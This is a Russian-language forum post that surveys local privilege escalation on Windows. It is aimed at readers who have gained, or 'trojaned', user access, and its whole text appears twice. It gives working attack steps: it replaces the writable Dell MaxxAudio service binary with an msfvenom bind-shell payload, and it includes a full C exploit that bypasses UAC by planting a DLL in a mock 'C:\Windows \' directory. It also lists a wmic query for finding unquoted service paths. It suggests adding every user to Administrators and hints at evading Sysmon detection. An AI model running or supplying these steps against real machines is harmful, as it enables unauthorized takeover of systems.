Локальное повышение привилегий в Windows
Люди зачастую интересуются методами локального поднятия привилегий в Windows. Оно и понятно, сценарий достаточно широко распространенный - получил любопытный гражданин штатный доступ хоть к пользовательской учетной записи корпоративного рабочего места, хоть к удаленному RDS-серверу в рамках какой-нибудь образовательной программы, или "затроянил" пользовательскую почту на компьютере бабушки-соседки,а ручки-то чешутся - и перед настойчивым естествопытателем во весь рост встает вопрос "что делать дальше ?". К тому же, получить к тому или иному, особенно работающему в многопользовательском режиме компьютеру/серверу, пользовательский доступ куда проще, чем административный.
Техники локального повышения привилегий в Windows насчитывают как минимум более десятка видов, и далеко не всегда связаны с необходимостью корпения над отладчиков или дизассемблирования kernel-модулей, хотя компания Microsoft, безусловно, достаточно много делает для улучшения безопасности своих ОСей последние несколько лет. Однако закончим "разливаться мыслью по древу", и перейдем к конкретике. Все приведенные ниже примеры конкретных уязвимостей достаточно свежие, и присутствуют in the wild весьма широко.
Прежде всего надо заметить, что поиск векторов для локального повышения привилегий в Windows - процесс достаточно трудоёмкий, требует системного подхода и внимательности к деталям, поэтому начнем со схемы, позаимствованной из презентации сотрудника "Лаборатории Касперского" @HeirhabarovT
Одно из наиболее свежих руководств, более-менее системно описывающих процесс поиска путей повышения привилегий, здесь, и включает в себя:
Скрипт для инвентаризации можно найти здесь (он не единственный, их вообще достаточно много).
Хотя список этот далеко не полный - например, не выполняется проверка наличия файлов с параметрами автоматической установки (sysprep/unattended), нет поиска объектов GPO - однако пользоваться им в практической деятельности достаточно удобно.
Кое-что из жизни.
Типичный пример неправильного назначения разрешений при установки драйверов - уязвимость с возможностью перезаписи файла драйвера звуковых устройств MaxxAudio (maxx.com), устанавливаемый по умолчанию на некоторых ноутбуках компании Dell.
Драйвер представлен службой с именем wavessyssvc, выполняющейся с привилегями LocalSystem
однако при этом к файлу имеют доступ и локальные пользователи тоже
Напрямую файл заменить не получится - драйвер запущен - однако его можно переместить в другую локацию с новым именем
а на освободившееся место положить имеющий формат драйвера Windows payload
предварительно сгенерированный Metasploit-ом
(пример взят с exploit-db)
Да, использовать этот метод "в лоб" вряд ли получится - практически стопроцентно среагирует антивирус, и для активации нужен перезапуск слубы (чего пользователь сделать не может), либо перезагрузка компьютера. Для решения этих проблем есть обфускация, да и вообще использовать Metasploit для shell тут не обязательно, ведь к рабочему месту доступ и так уже есть - гораздо логичнее написать простейшую "обертку" драйвера, который при запуске выполнит, например, добавление в группу "Администраторы" всех локальных пользователей, или сменит пароль
администратора на любой желаемый.
Впрочем, не надо думать, что такими недостатками страдают исключительно продукты сторонних фирм. В конце прошлого года в механизме контроля доступа была обнаружена весьма элегантная уязвимость, связанная с подменой пути для особо доверенных файлов, повышение привилегий которых выполняется автоматически, без дополнительных запросов. Файлы при этом должны удовлетворять трем критериям - они специально сконфигурированы для автоматического повышения привилегий, правильно подписаны и исполняются из надежного каталога/директории. Основная мысль exploit-а состоит в том, чтобы заставить Windows проверять один (легальный правильный) файл, а исполнять - другой (нелегальный, с payload). На примере утилиты winsat.exe (это такое средство для цоенки производительности Windows) алгоритм эксплуатации включает следующие шаги:
- с использованием API создается "фейковый" путь для обмана проверок UAC - каталог "c:\Windows \" (с символом ПРОБЕЛ в конце пути), и каталог System32 внутри него
- в этот созданный каталог заливается "неправильный" (содержащий злонамеренный код) файл winsat.exe
При запуске этого "неправильного" файла при проверке UAC в результате "нормализации" пути пробел отбрасывается, и все проверки выполняются для "правильного" файла - и действительно, он подписан, сконфигрирован для автоматического повышения привилегий и лежит по доверенному пути.
А фактически запускается - наш !
Весь код для эксплуатации укладывается в пару десятков строк и выглядит так -
(пример взят с exploit-db, а более детальный анализ уязвимости можно посмотреть тут)
Завершим этот коротенький обзор следующим занятным примером, также связанным с неправильной обработкой путей при запуске служб в Windows. Если в пути к файлу службы отсутствуют кавычки (а это часто бывает по недосмотру разработчиков или просто), то Windows будет искать исполняемый файл по всем разделенным пробелами путям типа
и так далее, и, при обнаружении файла с таким именем, исполнит его.
Найти такие службы достаточно просто -
Тему более полно раскрывает видео с последней (на текущимй момент) конференции Offzone Moscow, докладчик - сотрудник "Лаборатории Касперского" @HeirhabarovT, и, кроме методов повышения привилегий, рассказывает также и о методах обнаружения таких действий со стороны средств мониторинга вроже Sysmon. Методы обнаружения дадут внимательному зрителю массу впечатлений, и натолкнут на множество мыслей по их обходу, поэтому и видео, и презентация весьма рекомендуются к ознакомлению.
Ссылка на презентацию тут - https://2018.offzone.moscow/report/hunting-for-privilege-escalation-in-windows-environment/
А вот его же презентация на ZeroNights 2017, затрагивающая эту же тему, но больше акцентированная на тему защиты -
Ссылка на презентацию здесь - https://2017.zeronights.org/wp-cont...redentials_Dumping_in_Windows_Environment.pdf
Понятно, что список специалистов по преодолению защитных механизмов Windows сотрудниками "ЛК" не ограничивается - вот еще выступление и презентация с этой же конференции на тему обхода UAC (осторожно, глубокое погружение в тему)
Ссылка на презентацию здесь - https://2017.zeronights.org/wp-content/uploads/materials/ZN17_James_Forshaw_Bypassing_UAC.pdf
Интересующимся можно также посмотреть презентацию с Defcon 22 на тему получения хэшей других локальных (или локально залогиненных доменных) пользователей компьютера/сервера без наличия административных прав
Ссылка на презентацию здесь - https://defcon.org/images/defcon-22...rent-User-Hashes-Without-Admin-Privileges.pdf
Отдельно стоит остановиться на приемах технического противодействия, используемых опытными админами или производителями антивирусных и контрольных средств для предотвращения подобной деятельности вроде регулирующих различные виды доступа групповых политик. Вопросы защиты куда как более актуальны в больших корпоративных средах, то на отдельных пользовательских рабочих местах их практически не встретишь - и это отдельная большая тема.
P.S.:
Если в рамках данного (или отдельного) поста интересует более подробное раскрытие темы с картинками и видео, описывающие реальные кейсы, или список технических защитных мер со стороны админов и противодействие им со стороны злоумышленника - пожалуйста, одобрите пост и напишите пожелания в комментариях.
Автор: BillyBons
Люди зачастую интересуются методами локального поднятия привилегий в Windows. Оно и понятно, сценарий достаточно широко распространенный - получил любопытный гражданин штатный доступ хоть к пользовательской учетной записи корпоративного рабочего места, хоть к удаленному RDS-серверу в рамках какой-нибудь образовательной программы, или "затроянил" пользовательскую почту на компьютере бабушки-соседки,а ручки-то чешутся - и перед настойчивым естествопытателем во весь рост встает вопрос "что делать дальше ?". К тому же, получить к тому или иному, особенно работающему в многопользовательском режиме компьютеру/серверу, пользовательский доступ куда проще, чем административный.
Техники локального повышения привилегий в Windows насчитывают как минимум более десятка видов, и далеко не всегда связаны с необходимостью корпения над отладчиков или дизассемблирования kernel-модулей, хотя компания Microsoft, безусловно, достаточно много делает для улучшения безопасности своих ОСей последние несколько лет. Однако закончим "разливаться мыслью по древу", и перейдем к конкретике. Все приведенные ниже примеры конкретных уязвимостей достаточно свежие, и присутствуют in the wild весьма широко.
Прежде всего надо заметить, что поиск векторов для локального повышения привилегий в Windows - процесс достаточно трудоёмкий, требует системного подхода и внимательности к деталям, поэтому начнем со схемы, позаимствованной из презентации сотрудника "Лаборатории Касперского" @HeirhabarovT
Одно из наиболее свежих руководств, более-менее системно описывающих процесс поиска путей повышения привилегий, здесь, и включает в себя:
- инвентаризацию системы и установленных в ней обновлений
- инвентаризацию пользователей системы, их членства в группах, поиск сервера авторизации (при работе в домене)
- поиск в реестре учетных данных для автологона
- поиск данных в Credential Manager
- наличие доступа к файлами реестра (я бы добавл - и поиск их резервных копий)
- инвентаризацию установленных программ, служб и сервисов, включая права на их использование и права на доступ к соотнесенными с ними файлам на диске
- инвентаризацию заданий по расписанию (стороннее ПО иногда любит добавлять туда свои компоненты для обновления или резервного копирования)
- инвентаризацию процессов, запускаемых при старте системы (autorun)
- инвентаризацию сетевого окружения (таблица маршрутизации, подключенные сетевые диски и пр.)
- поиск компонентов web-серверов (IIS, Apache).
Скрипт для инвентаризации можно найти здесь (он не единственный, их вообще достаточно много).
Хотя список этот далеко не полный - например, не выполняется проверка наличия файлов с параметрами автоматической установки (sysprep/unattended), нет поиска объектов GPO - однако пользоваться им в практической деятельности достаточно удобно.
Кое-что из жизни.
Типичный пример неправильного назначения разрешений при установки драйверов - уязвимость с возможностью перезаписи файла драйвера звуковых устройств MaxxAudio (maxx.com), устанавливаемый по умолчанию на некоторых ноутбуках компании Dell.
Драйвер представлен службой с именем wavessyssvc, выполняющейся с привилегями LocalSystem
Код:
sc qc wavessyssvc
...
SERVICE_NAME: wavessyssvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Waves Audio Services
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
однако при этом к файлу имеют доступ и локальные пользователи тоже
Код:
icacls "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
ACME\user:(I)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Напрямую файл заменить не получится - драйвер запущен - однако его можно переместить в другую локацию с новым именем
Код:
move "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe" "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.bak"
а на освободившееся место положить имеющий формат драйвера Windows payload
Код:
copy service.exe "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
предварительно сгенерированный Metasploit-ом
Код:
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe-service -o service.exe
Да, использовать этот метод "в лоб" вряд ли получится - практически стопроцентно среагирует антивирус, и для активации нужен перезапуск слубы (чего пользователь сделать не может), либо перезагрузка компьютера. Для решения этих проблем есть обфускация, да и вообще использовать Metasploit для shell тут не обязательно, ведь к рабочему месту доступ и так уже есть - гораздо логичнее написать простейшую "обертку" драйвера, который при запуске выполнит, например, добавление в группу "Администраторы" всех локальных пользователей, или сменит пароль
администратора на любой желаемый.
Впрочем, не надо думать, что такими недостатками страдают исключительно продукты сторонних фирм. В конце прошлого года в механизме контроля доступа была обнаружена весьма элегантная уязвимость, связанная с подменой пути для особо доверенных файлов, повышение привилегий которых выполняется автоматически, без дополнительных запросов. Файлы при этом должны удовлетворять трем критериям - они специально сконфигурированы для автоматического повышения привилегий, правильно подписаны и исполняются из надежного каталога/директории. Основная мысль exploit-а состоит в том, чтобы заставить Windows проверять один (легальный правильный) файл, а исполнять - другой (нелегальный, с payload). На примере утилиты winsat.exe (это такое средство для цоенки производительности Windows) алгоритм эксплуатации включает следующие шаги:
- с использованием API создается "фейковый" путь для обмана проверок UAC - каталог "c:\Windows \" (с символом ПРОБЕЛ в конце пути), и каталог System32 внутри него
- в этот созданный каталог заливается "неправильный" (содержащий злонамеренный код) файл winsat.exe
При запуске этого "неправильного" файла при проверке UAC в результате "нормализации" пути пробел отбрасывается, и все проверки выполняются для "правильного" файла - и действительно, он подписан, сконфигрирован для автоматического повышения привилегий и лежит по доверенному пути.
А фактически запускается - наш !
Весь код для эксплуатации укладывается в пару десятков строк и выглядит так -
Код:
#include "stdafx.h"
#include <Windows.h>
#include "resource.h"
void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
HMODULE hMod = GetModuleHandle(NULL);
HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
DWORD dllSize = SizeofResource(hMod, res);
void* dllBuff = LoadResource(hMod, res);
HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
DWORD sizeOut;
WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
CloseHandle(hDll);
}
int main()
{
_SHELLEXECUTEINFOW se = {};
//Create Mock SystemRoot Directory
CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);
CreateDirectoryW(L"\\\\?\\C:\\Windows \\System32", 0);
CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"\\\\?\\C:\\Windows \\System32\\winSAT.exe", false);
//Drop our dll for hijack
DropResource(L"DATA", L"\\\\?\\C:\\Windows \\System32\\WINMM.dll");
//Execute our winSAT.exe copy from fake trusted directory
se.cbSize = sizeof(_SHELLEXECUTEINFOW);
se.lpFile = L"C:\\Windows \\System32\\winSAT.exe";
se.lpParameters = L"formal";
se.nShow = SW_HIDE;
se.hwnd = NULL;
se.lpDirectory = NULL;
ShellExecuteEx(&se);
return 0;
}
(пример взят с exploit-db, а более детальный анализ уязвимости можно посмотреть тут)
Завершим этот коротенький обзор следующим занятным примером, также связанным с неправильной обработкой путей при запуске служб в Windows. Если в пути к файлу службы отсутствуют кавычки (а это часто бывает по недосмотру разработчиков или просто), то Windows будет искать исполняемый файл по всем разделенным пробелами путям типа
Код:
c:\Program.exe
c:\Program files.exe
и так далее, и, при обнаружении файла с таким именем, исполнит его.
Найти такие службы достаточно просто -
Код:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "c:\windows\\" | findstr /i /v ""
Тему более полно раскрывает видео с последней (на текущимй момент) конференции Offzone Moscow, докладчик - сотрудник "Лаборатории Касперского" @HeirhabarovT, и, кроме методов повышения привилегий, рассказывает также и о методах обнаружения таких действий со стороны средств мониторинга вроже Sysmon. Методы обнаружения дадут внимательному зрителю массу впечатлений, и натолкнут на множество мыслей по их обходу, поэтому и видео, и презентация весьма рекомендуются к ознакомлению.
Ссылка на презентацию тут - https://2018.offzone.moscow/report/hunting-for-privilege-escalation-in-windows-environment/
А вот его же презентация на ZeroNights 2017, затрагивающая эту же тему, но больше акцентированная на тему защиты -
Ссылка на презентацию здесь - https://2017.zeronights.org/wp-cont...redentials_Dumping_in_Windows_Environment.pdf
Понятно, что список специалистов по преодолению защитных механизмов Windows сотрудниками "ЛК" не ограничивается - вот еще выступление и презентация с этой же конференции на тему обхода UAC (осторожно, глубокое погружение в тему)
Ссылка на презентацию здесь - https://2017.zeronights.org/wp-content/uploads/materials/ZN17_James_Forshaw_Bypassing_UAC.pdf
Интересующимся можно также посмотреть презентацию с Defcon 22 на тему получения хэшей других локальных (или локально залогиненных доменных) пользователей компьютера/сервера без наличия административных прав
Ссылка на презентацию здесь - https://defcon.org/images/defcon-22...rent-User-Hashes-Without-Admin-Privileges.pdf
Отдельно стоит остановиться на приемах технического противодействия, используемых опытными админами или производителями антивирусных и контрольных средств для предотвращения подобной деятельности вроде регулирующих различные виды доступа групповых политик. Вопросы защиты куда как более актуальны в больших корпоративных средах, то на отдельных пользовательских рабочих местах их практически не встретишь - и это отдельная большая тема.
P.S.:
Если в рамках данного (или отдельного) поста интересует более подробное раскрытие темы с картинками и видео, описывающие реальные кейсы, или список технических защитных мер со стороны админов и противодействие им со стороны злоумышленника - пожалуйста, одобрите пост и напишите пожелания в комментариях.
Автор: BillyBons